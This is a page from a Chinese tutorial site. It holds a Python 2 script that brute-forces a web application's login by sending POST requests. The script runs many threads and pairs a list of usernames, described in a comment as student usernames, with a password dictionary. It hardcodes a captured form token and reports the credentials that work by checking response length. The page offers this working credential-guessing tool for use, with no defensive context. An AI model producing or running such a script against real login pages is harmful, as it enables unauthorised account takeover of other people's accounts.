• 欢迎访问开心洋葱网站,在线教程,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入开心洋葱 QQ群
  • 为方便开心洋葱网用户,开心洋葱官网已经开启复制功能!
  • 欢迎访问开心洋葱网站,手机也能访问哦~欢迎加入开心洋葱多维思维学习平台 QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏开心洋葱吧~~~~~~~~~~~~~!
  • 由于近期流量激增,小站的ECS没能经的起亲们的访问,本站依然没有盈利,如果各位看如果觉着文字不错,还请看官给小站打个赏~~~~~~~~~~~~~!

Pyhon POST登录账户用户自动猜测脚本

其他 开心洋葱 3003次浏览 0个评论

Pyhon POST登录账户用户自动猜测脚本

Pyhon POST登录账户用户自动猜测脚本

# -*- coding: latin-1 -*-

import urllib2

import urllib

import httplib

import cookielib

import threading

import sys

def openfile(path):

	fp=open(path)

	files = []

	for password in fp.readlines():

		files.append(password.replace('\n',''))

	fp.close()

	return files

def sendinfo(username,password):

	try:

		data =  urllib.urlencode({"username":username,"password":password,"submit":"%E7%99%BB%E5%BD%95","token":"9139c24b"})#token值抓包,估计会变

		headers = {"Content-type": "application/x-www-form-urlencoded"

			, "Accept": "text/plain"}

		httpClient = httplib.HTTPConnection("localhost.com", 80, timeout=30)

		httpClient.request("POST", "/web/index.php?c=user&a=login&", data, headers)

		response = httpClient.getresponse()

		if len(response.read()) > 3700:

			print "<mi> "+username+":"+password+"<ma>"

	except Exception,e:

		print e

	finally:

		if httpClient:

			httpClient.close()

def check(username,passwords):

	for password in passwords:

		sys.stdout.write("Username: %s   PassWord: %s \r" % (username,password))

		sys.stdout.flush()

		sendinfo(username,password)



if __name__ == '__main__':

	passwords=openfile("pass.dic")#字典

	username = openfile("username.txt")#学生用户名

	threads = []

	for user in username:

		threads.append(threading.Thread(target=check,args=(user,passwords)))

	for t in threads:

		t.start()

	t.join()

	print "all is over"


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明Pyhon POST登录账户用户自动猜测脚本
喜欢 (0)

您必须 登录 才能发表评论!

加载中……